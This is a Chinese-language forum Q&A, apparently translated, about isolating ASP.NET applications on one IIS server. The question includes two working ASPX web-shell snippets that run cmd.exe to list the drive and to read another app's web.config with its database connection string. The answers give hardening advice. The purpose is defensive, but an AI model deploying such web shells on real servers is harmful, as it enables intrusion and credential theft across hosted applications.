我正在设置一台新机器来托管多个 asp.net 应用程序。我的目标是尽可能强有力地隔离应用程序。如果其中一个应用程序被黑客入侵,所有其他应用程序都应该是安全的。
我有一个默认配置。有 ac:\wwwroot 目录。在此目录中,我有包含应用程序文件的 \AppA 和 \AppB 文件夹。wwwroot 目录具有默认权限:
Users - read & execute
IIS_IUSRS - read & execute
这两个应用程序都在各自的安全上下文下的不同的应用程序轮询下运行:
IIS AppPool\AppA
IIS AppPoll\AppB
假设有人闯入了 AppA 并且能够上传恶意“dir.aspx”文件:
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c dir";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
惊喜!在默认配置下,攻击者可以读取 c:\ - 输出:
<html>
<body>
Volume in drive C is System
Volume Serial Number is ******
Directory of c:\
05.11.2018 14:39 <DIR> PerfLogs
21.12.2018 13:55 <DIR> Program Files
06.11.2018 15:03 <DIR> Program Files (x86)
20.12.2018 10:08 <DIR> Users
11.12.2018 01:33 <DIR> Windows
10.01.2019 19:36 <DIR> wwwroot
0 File(s) 0 bytes
8 Dir(s) 109˙008˙580˙608 bytes free
</body>
</html>
现在攻击者可以轻松浏览整台机器上的文件,并可以访问 AppB 来读取 AppB 的 web.config,从而暴露其数据库凭据和其他敏感数据:
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
输出:
<html>
<body>
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<connectionStrings>
<add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<compilation debug="true" targetFramework="4.5.2" />
<httpRuntime targetFramework="4.5.2" />
<customErrors mode="Off"/>
</system.web>
</configuration>
</body>
</html>
问题是,是否可以配置 IIS 权限以实现更好的应用程序隔离?上述场景怎么可能实现呢?
答案1
对的,这是可能的。
我可以提供高层次的概述,但是为了保护整个系统,你应该真正看看CIS 基准适用于 IIS 和 Windows 2016。这些基准测试涉及的设置太多,无法在此列出,但将极大地锁定您的服务器并为您提供良好的安全态势。
不过,只需几件事就能帮助您入门。
- 不要将您的网站放在系统驱动器上。创建一个单独的驱动器。这不仅是为了安全,还可以防止您上传或生成过多文件时系统驱动器空间不足。
- 删除默认的 AppPool 和 Website。甚至不要使用默认的 wwwroot 文件夹。
- 您首先为每个网站创建了单独的 AppPool,但您可以更进一步,将对每个网站根文件夹的访问限制为运行该特定网站的 AppPool。
尝试基准测试(我提供的这些代码片段包含在基准测试中),然后再次运行测试。开箱即用的 Windows 对于这种用例(或者如果你真的深入研究的话,许多用例)来说并不安全。
答案2
您可以通过在“applicationB”文件夹上设置 ntfs 权限 acl,并使用“IIS AppPool\AppA”完全拒绝,反之亦然来解决该问题。